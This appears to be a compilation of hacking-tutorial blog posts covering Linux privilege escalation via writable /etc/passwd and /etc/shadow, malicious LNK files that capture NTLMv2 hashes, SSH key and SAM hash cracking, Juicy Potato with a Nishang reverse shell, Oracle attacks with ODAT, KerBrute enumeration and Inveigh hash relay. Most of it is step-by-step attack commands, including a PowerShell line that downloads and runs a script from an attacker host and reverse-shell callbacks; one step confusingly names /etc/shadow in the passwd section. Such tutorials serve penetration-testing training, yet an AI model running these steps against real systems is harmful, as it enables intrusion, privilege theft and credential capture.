Hacking Tutorial

Linux Privilege Escalation: Weak File Permissions – Writable /etc/passwd

The /etc/passwd file contains information about user accounts. It is world-readable, but usually only writable by the root user. Historically, the /etc/passwd file contained user password hashes, and some versions of Linux will still allow password hashes to be stored there. If we have write access to this file as a low level user, we can abuse this privilege to actually overwrite the root user’s password hash.

Method 1 – Overwriting root password

Do do this, let’s first check the file permissions on the /etc/passwd file. In our example, we can see that our user account has read/write access.
ls -la /etc/passwd

Now we can use openssl to generate a new password hash in the format used by /etc/passwd.
openssl passwd <newPassword>

Now let’s edit the /etc/passwd file and paste the newly generated hash between the first and second colon.
vi /etc/passwd

Finally, we can switch to the root user using the new password.
su root

Method 2 – Creating a new user account

Alternatively, you could have also created a new user account with root group membership. This can easily be done in two steps:

  1. Copy the root user line, and paste it to the bottom of the /etc/shadow file.
  2. Place a password hash that you control between the first and 2nd colon.

Once this is done, you can simply switch to the new user.
su newroot

Hacking Tutorial

Linux Privilege Escalation: Weak File Permissions – Writable /etc/shadow

The /etc/shadow file contains user password hashes and is usually readable only by the root user. When this file is misconfigured, and global write access is allowed, this can allow us to overwrite the root password hash with one that we control.

Do do this, let’s first check the file permissions on the /etc/shadow file. In our example, we can see that our user account has read/write access.
ls -la /etc/shadow

Knowing that we can write to this file, let’s create a password hash that we control. While all we need to do is generate a SHA-512 hash, we can actually use a pre-installed utility called mkpasswd to generate one for us.
mkpasswd -m sha-512 <newPassword>

Copy the hash that gets generated, and lets go edit the /etc/shadow file.
vi /etc/shadow

You’ll want to paste the password between the first and second colon symbols. If a hash is present, overwrite it.

Once the file has been changed, you can now switch to the root user using the password you passed to the mkpasswd command.
su root

Hacking Tutorial

Attacking Active Directory and Open File Shares: Capturing Password Hashes via Malicious LNK Files

If you’ve seen any of my other guides on attacking Active Directory, you’ll have noticed that I love using Responder or Inveigh to capture NTLMv2 hashes. In this tutorial, we’re still going to leverage these tools, but we’re going to force users to send us their hash in a bit different of a way.

Table of Contents:

  • Overview of the Attack
  • Topology of the Network
  • Performing the Attack
  • How Do We Mitigate This?

Overview of the Attack

What is it?

Using PowerShell, we’re able to create our own .lnk file that contains a poisoned icon path. By directing users to a remote SMB share as the file location of the thumbnail, we’re able to force users who access this file share to reach out and make an authentication request to a location that we control.

When can attackers use this?

This attack vector is especially useful in cases where you’ve obtained write access to a publicly accessible file share. If you can drop a specially crafted .lnk file in a location with high traffic, you should be able to capture a large number of NTLMv2 hashes for multiple users.

This can be further chained with SMB Relay attacks in the event that there are machines in the environment with SMB Signing disabled.

Topology of the Network

In our scenario, we have four machines that are all a part of the same internal network.

Windows Server 2019:

  • Acts as the domain controller.
  • Has a FQDN of king.nba.local.
  • IP address is
  • Hosts up a file share at \\King\Share

First Windows 10 Machine:

  • Joined to the nba.local domain.
  • Is used by NBA\kBryant domain user.
  • IP address is
  • O:\ drive is mapped to \\King\Share

Second Windows 10 Machine:

  • Joined to the nba.local domain.
  • Is used by NBA\kIrving domain user.
  • IP address is
  • O:\ drive is mapped to \\King\Share

Attacker Kali Linux:

  • Not domain joined.
  • IP address is

Performing the Attack

To begin, we need to first create our malicious .lnk file. Since we’ll be using PowerShell, you’ll need access to a Windows machine to generate the file, but it does not need to be domain-joined to the target network.

In a PowerShell prompt, we will create our malicious .lnk file using the following commands:

$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\Malicious.lnk")
$lnk.TargetPath = "\\<attackerIP>\@threat.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Browsing to the dir this file lives in will perform an authentication request."
$lnk.HotKey = "Ctrl+Alt+O"

Once the commands are ran, it should generate a file to C:\Malicous.lnk. When a user browses to this file, the thumbnail will attempt to load an icon from \\<attackerIP>\@threat.png. This image obviously doesn’t exist, but we can leverage this connection attempt create a challenge that accepts a NTLMv2 hash.

We’ll now rename this file to include an @ symbol in the beginning and give it a less suspicious name. This will force the file to show up at the top of the file-share, which should increase the chances that users browse across it.

Finally, we’ll copy it down to the target network and drop it into a public file share.

With our file planted, let’s head over to our Kali instance, change into our Responder directory, and start up our listener. If you don’t know what this is, check out my guide on LLMNR poisoning at Abusing LLMNR/NBT-NS in Active Directory Domains: Part 1 (Capturing NTLMv2 Hashes).

cd /opt/Responder
sudo python Responder.py -I eth0

Now, let’s simulate a user browsing to this file share. From one of the domain-joined machines, we’ll navigate to the O:\ drive like a real user would do. Right away, we’re able to capture that user’s NTLMv2 hash.

This will continue until the file is removed from the server, which could allow an attacker the ability to capture a large number of NTLMv2 hashes before getting busted.

How Do We Mitigate This?

  • Egress firewall rules. If SMB connections (ports 445 and 139) are not allowed outbound, the attacker would never be able to challenge the request and capture the NTLMv2 hashes of the users.
  • Strict file share permissions. File shares should never allow for anybody to write to them. Users that need write access should be very limited in terms of which directories they can write in, and the principal of least privilege should always be followed.
  • Enforce SMB Signing. While this won’t prevent the attack from occurring, it will limit the impact. If SMB Signing is not required across the network, attackers can easily relay these hashes to authenticate to machines across the domain.
  • Strong Password Policy. Surely you know by now that this is a must-have. A strong password could make these captured hashes useless if SMB Signing is enforced and the hashes are uncrackable.

Hacking Tutorial

Cracking SSH Keys Using John

Once you’ve come across an SSH key, they are sometimes encrypted and require a password to be passed along with it before you’re able to successfully use it for authentication. When this occurs, we can leverage John to extract the hash used to encrypt this key and attempt to crack it offline.

First, we’ll start by extracting the hash using SSHng2John.
python sshng2john.py ssh.key

Then we can rerun the above command, but redirect to a file.
python sshng2john.py /root/ssh.key > hash.ssh

And finally, we can pass it to John for cracking against a dictionary file.
john --wordlist=/opt/wordlists/rockyou.txt hash.ssh

Hacking Tutorial

How To Mount & Extract Password Hashes From VHD Files

On an engagement, you may come across VHD files that are not stored properly. This could be open on an exposed NFS or SMB share, or it could even be from a backup file that you exfiltrated. No matter how you come in contact with these files, there are many ways to go through them to extract critical information.

Using 7-Zip, you can view the contents of a VHD file.

7z l file.vhd

To extract the contents, you can also use 7-zip.

7z x file.vhd

Mounting a VHD on Linux

To mount a VHD on Linux, you can use Guest Mount.

sudo apt install libguestfs-tools -y

Now we’ll start by creating a directory that we’ll mount the VHD file to.

sudo mkdir /mnt/vhd

And then we’ll use guestmount to mount the directory in read-only (ro) mode.

guestmount --add file.vhd --inspector --ro -v /mnt/vhd

This could take a few minutes to mount depending on the size. But eventually it will finish and you should be able to view the contents.

cd /mnt/vhd
ls -la

To list the files of select directories, you can use find.

find Desktop Documents Downloads -ls

Extracting Local SAM Database from VHD Files

First, follow the above steps to mount the VHD file. Once mounted, you may be able to grab the files that make up the SAM database so you can crack it offline.

cd /Windows/System32/config
cp SAM SYSTEM /<localDir>

Note: You may also want to grab nts.dit if you’re on a domain controller so you can crack all of the AD hashes.

Now you can go to the local directory that you copied those files into and use secretsdump to extract the hashes.

impacket-secretsdump -sam SAM -system SYSTEM local

Instead of taking the hash offline to try and crack it, you can see if you have write access using this hash to any SMB share by using SMBmap.

smbmap -u <userName> -p <lmHash:ntHash> -H <targetIP>

Hacking Tutorial

Windows Privilege Escalation: Abusing SeImpersonatePrivilege with Juicy Potato

When you’ve found yourself as a low-level user on a Windows machine, it’s always worthwhile to check what privileges your user account has. If you have the SeImpersonatePrivilege, there is a very simply attack vector that you can leverage to gain SYSTEM level access.

Table of Contents

  • Verifying Permissions and Downloading Exploit
  • Performing the Attack

Verifying Permissions and Downloading Exploit

Let’s start by checking what privileges our user has.

whoami /all

Based on the return output, we can confirm that we have the correct privileges to abuse this vulnerability.

Great! Lets go out and download our exploit. You can get the latest version by navigating to the following Github page, and clicking on Releases.


Once downloaded to our system. lets transfer it to our victim machine using your favorite method. Feel free to review the options at my Windows File Transfer Cheatsheet. Once its present on the target system, running the executable should return the following help documentation.

Perfect! We should be ready to perform the attack.

Performing the Attack

This attack will allow us to run executables as the SYSTEM level process. This means that in addition to the JuicyPotato.exe exploit, we’ll also need our own malicious file that we wish to execute. This could be many different things, but a common example would be a reverse shell payload. You can learn how to generate these by visiting my MSFVenom Reverse Shell Payload Cheatsheet (with & without Meterpreter).

However in this example, I’m going to use a PowerShell Nishang reverse shell. If you do not have this downloaded, you can get it from the following Github page: https://github.com/samratashok/nishang

With the contents of this repo stored in your /opt directory, let’s copy the Invoke-PowerShellTcp.ps1 script to our present working directory as rev.ps1.

sudo cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 rev.ps1

Then, let’s make a slight modification to the script and add the following line to the bottom. Doing this will not only load the modules into the PowerShell session when called upon, but it will also execute them so that a reverse shell connection can establish.

Invoke-PowerShellTcp -Reverse -IPAddress <attackerIP> -Port <attackerPort>

With that script modified and ready, we can host it up on our webserver using the following command:

sudo python -m SimpleHTTPServer 80

Oh! And don’t forget to start your Netcat listener.

sudo nc -nvlp <attackerPort>

The only thing needed at this point is a batch script that we can pass to Juicy Potato. Since Juicy Potato will run the batch script as SYSTEM, any commands we place in it will execute as SYSTEM. Let’s have our batch script contain the following PowerShell command so that it will download our Nishang reverse shell and execute it.

powershell "IEX(New-Object Net.WebClient).downloadString('http://attackerIP/rev.ps1')"

Now we’ll transfer this batch file to our target and run our Juicy Potato command! To understand what we’re doing in this attack, I’d recommend reading http://ohpe.it/juicy-potato/. The following command should work in most cases without the need for modification (other than the path/executables).

.\JuicyPotato.exe -t * -p c:\path\to\executable.bat -l 9002

If the above command returns an error, you may need to find a different CLSID. If that’s the case, you can find a different one from the following page: https://ohpe.it/juicy-potato/CLSID/

.\JuicyPotato.exe -t * -p c:\path\to\executable.bat -l 9002 -c '{CLSID}'

If everything works, Juicy Potato should execute executable.bat as SYSTEM, which issues a PowerShell command that downloads rev.ps1 from our attack machine. Rev.ps1 will then load Nishang into memory, and establish a reverse shell connection to our Netcat listener. Running whoami in that connection should return SYSTEM.

Additional Resources:

A more modern version of this attack is Rogue Potato: https://github.com/antonioCoco/RoguePotato

Hacking Tutorial, Pentesting

Pentesting Oracle Databases with The Oracle Database Exploitation Tool (ODAT)

When coming across an Oracle database, there is an awesome framework that you can use for pentesting it called The Oracle Database Exploitation Tool (ODAT). This post intends to serve as a guide for leveraging this tool, based on what Ippsec performs during his Silo video.

Table of Contents:

  • Installing ODAT
  • Bruteforcing SIDs
  • Brute Forcing User Accounts
  • Gaining a Reverse Shell

Installing ODAT

The Oracle Database Exploitation Tool (ODAT) is available for download at https://github.com/quentinhardy/odat.

We’ll start by changing into opt and running git.

cd /opt
git clone https://github.com/quentinhardy/odat.git

Then we’ll change into the directory and install additional packages.

cd odat/
sudo apt-get install libaio1 python3-dev alien python3-pip

Get instant client basic, sdk (devel) and sqlplus from the Oracle web site:

X64: http://www.oracle.com/technetwork/topics/linuxx86-64soft-092277.html
X86: http://www.oracle.com/technetwork/topics/linuxsoft-082809.html

Move the downloaded file into this directory and run the following command.

sudo alien --to-deb *.rpm

This should unpack a few files, and then run.

sudo dpkg -i *.deb

Put these lines in your /etc/profile file in order to define Oracle env variables:

export ORACLE_HOME=/usr/lib/oracle/<version>/client64/

Then restart your session!

Bruteforcing SIDs

The SID is something that you have to provide with the rest of our commands in order to leverage this tool. I’m not sure exactly what a SID is, but I like to pretend that it’s a container that contains multiple databases. Because of this, we need to first identify what SIDs are in use before we can enumerate user accounts.

To begin our attack, we can use the following:

./odat.py sidguess -s <targetIP> -p <port>

Note: You can also use the Metasploit module /oracle/sid_brute

Eventually, the valid SIDs should be returned.

Brute Forcing User Accounts

Next, we can leverage the passwordguesser module to guess credentials. By default, ODAT will use a password file that is in all caps, but you may or may not want to alter and/or change the file used. For example, some versions of Oracle may be case sensitive and you won’t want a password file in all caps.

If you want to customize the wordlist, you can modify the file located at the following path:


You could even copy the wordlist that Metasploit uses, which is located at the following path. Just make sure to reformat your wordlist in the correct format:


Once you’re ready to run the attack, you can with the following command.

./odat.py passwordguesser -s <targetIP> -d <SID>

Gaining a Reverse Shell

A quick snippet of the help documentation can be found below.

To gain a shell, you can upload a reverse shell to the box, as long as you have identified a valid SID and valid user credentials with write privileges:

./odat.py utilfile -s <targetIP> --sysdba -d <SID> -U <username> -P <password> --putFile <remotePath> <remoteFilename> <localFilename>

Ippsec shows doing this within his Silo video like this.

Then you can execute the file using the following command. Make sure you set up a listener to catch your shell.

./odat.py externaltable -s <targetIP> --sysdba -d <SID> -U <username> -P <password> --exec <remotePath> <remoteFilename>

Hacking Tutorial

Enumerating Valid Active Directory Usernames with KerBrute

When you come in contact with a Windows domain, you may want to try and leverage Password Spraying attacks (really, you should –they’re super effective). But how do you get a valid list of usernames to load into your password sprayer?

Downloading the Tool

You could leverage a tool called KerBrute to pull this off. A quick Google search on this tool returns the following Github page.


You can also download precompiled binaries from the following.


Setting Up our Attack

With the tool in hand, we can view the help documentation.

Now we just need to prepare a list of users to enumerate. If you’ve already started to find usernames around the network, you can make your own customer user list. Otherwise, you can leverage something from the seclists usernames list, which can be downloaded at the following page.


The syntax for the command is very straightforward.

sudo ./kerbrute userenum -d <domain> <userList>

And just like that, we can see that all of the usernames we provided in our file are valid!

Note: It may be worthwhile to add a “known invalid” username to your userlist, just to make sure the server isn’t configured to respond stating all users are valid, whether or not that is true.

Hacking Tutorial

Capturing & Relaying Net-NTLM Hashes Without Kali Linux Using Inveigh

I’ve recently uploaded part three of my LLMNR series. If you’ve missed it, I’ve used Responder and NTLMRelayX with Kali Linux to:

But what happens if you’re on a red team engagement or are otherwise unable to utilize Kali Linux? Trying to get Responder and Impacket running in Windows is a pain, but luckily there is another tool that we can leverage!

Table of Contents

  • Importing Inveigh Module
  • Basics of Running Inveigh
  • Capturing Hashes in Inveigh
  • Relaying Hashes Captured w/ HTTP Proxy
  • Performing SMB to SMBRelay w/ Inveigh
  • Conclusion

Importing Inveigh Module

A quick Google search for “Github Inveigh” returns the following page.


Before going too far, I’d also highly recommend bookmarking the Inveigh Wiki page. This is where you’ll find details on all of the available parameters.


Feel free to download this tool using whatever method works for you, but I personally like to install the Git Bash for Windows utility and install it as if I’m in Linux. If you need a hand getting this installed, check out my guide Installing Git Bash for Windows.

In true wannabe Linux fashion, I like to create a \opt directory in the root of my C:\ drive. This is where I’ll launch my Git Bash session and run the following command to download Inveigh.

git clone https://github.com/Kevin-Robertson/Inveigh.git

Now let’s spin up a PowerShell instance, change into the newly created \Inveigh directory, set our Execution Policy to Remote Signed, and import the script.

Note: You may need to run this as Administrator to take full advantage of all features.

cd C:\opt\Inveigh
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned
Import-Module ./Inveigh.psd1

Alternatively, you could bypass the need to download the scripts and just load the script directly into memory by using the following:

IEX (New-Object Net.WebClient).DownloadString("http://yourhost/Inveigh.ps1")


IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.psd1")

Basics of Running Inveigh

At this point, Inveigh should be imported into the PowerShell session, waiting for us to call on it. We can start listening to requests on the network by using the following command. While not all of these parameters may be required, I like to use them.

  • -ConsoleOutput : Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn’t hang the shell. Medium and Low can be used to reduce output.
  • -NBNS : Enable/Disable NBNS spoofer.
  • -HTTPS : Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store. If the script does not exit gracefully, manually remove the certificate. This feature requires local administrator access.
  • -Proxy : Enable/Disable proxy server authentication captures.
  • -IP : Local IP address for listening and packet sniffing. This IP address will also be used for LLMNR/mDNS/NBNS spoofing if the SpooferIP parameter is not set.

Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y -IP <attackerIP>

At this point, the listener will be active and output should be displayed on screen. By default, DNS requests being broadcasted on the network will also be displayed in this window, giving you some insight as to what devices and users on the network are doing.

If you press any key in this window, it will stop the live view of requests, but keep the listener running. You can then utilize the following commands, as desired.

Clear-Inveigh – clear the $inveigh hashtable
Get-Inveigh – get data from the $inveigh hashtable
Stop-Inveigh – stop all running Inveigh modules
Watch-Inveigh – enable real time console output

Note: When using Get-Inveigh, I like to add the -NTLMv2 parameter to return all NTLMv2 hashes that were captured.

Capturing Hashes in Inveigh

As long as you have your listener running from before, capturing the hashes should be trivial. We just need to wait for LLMNR to kick in, or for a user to browse your SMB/HTTP shares. Let’s give things a little push in my virtual environment, by attempting to browse to a share that doesn’t exist.

Once we do that, we can head over to our Inveigh window. If you have live output being displayed, you should see the NTLMv2 hash presented to you. If you do not have live output running, you can issue the following command into your PowerShell window.

Get-Inveigh -NTLMv2

Relaying Hashes Captured w/ HTTP Proxy

In addition to capturing hashes, we can also relay hashes as long as their captured in our HTTP proxy. However, this may be a bit of a challenge, because majority of hashes are captured via SMB. Inveigh does not currently support relaying hashes captured via SMB.

To being, we’ll import the Inveigh-Relay.ps1 module.

. ./Inveigh-Relay.ps1

And then the syntax is very straightforward. We just need to specify the target to relay our Net-NTLM hash to, along with what command to run once we have a valid administrator account captured. In addition to this, Invoke-InveighRelay also has some additional “Attack Modes”.

  • Enumerate – The enumerate attack can perform Group, User, Share, and NetSession enumeration against a target.
  • Execute – Performs PSExec style command execution. In previous versions of Inveigh Relay, this was the only available attack. Note, they removed SMB1 support.
  • Session – Inveigh Relay can now establish and maintain privileged/unprivileged authenticated SMB sessions. The sessions can be accessed with Invoke-SMBClientInvoke-SMBEnum, and Invoke-SMBExec from their Invoke-TheHash project. Inveigh Relay will attempt to keep the sessions open as long as the module is running.

My example command will look like this.

Invoke-InveighRelay -ConsoleOutput Y -Target <targetIP> -Command "whoami" -Attack Enumerate,Execute,Session

Now here’s the issue. I mentioned that we couldn’t relay a SMB connection like we can with Responder. This means browsing to a fake share no longer does anything for us. However, we can browse to our hosted HTTP proxy as a quick proof of concept.

Now there is a lot going on in this image, but let’s break this down.

  1. On the left side, we can see the victim browsed to the HTTP server hosted by Inveigh. Inveigh then relayed that hash to the specified target.
  2. Because the user had local admin rights on the target, we could see that we were successfully able to enumerate the local admin users and custom file shares.
  3. We were also able to execute the command we specified when setting up our Invoke-InveighRelay command.

Performing SMB to SMBRelay w/ Inveigh

Previously, I said we are unable to relay a captured hash from SMB to a target via SMB, which is why I had to do my proof of concept using the HTTP Proxy. However, the creator of Inveigh, Kevin Robertson, has had luck with blocking port 445 to encourage clients to use WebDav Port 80 as a failover.

This did not work for me in my test lab, but I wanted to mention it here in case it works for you.


Overall, I think Inveigh is a handy tool if you’re in a pinch, or dealing with a Windows-only scenario and want to try your luck at capturing Net-NTLM hashes. However, I think I still prefer Responder as it seems to be more feature rich for relaying hashes than what we’re currently able to do with Inveigh.

What are your thoughts?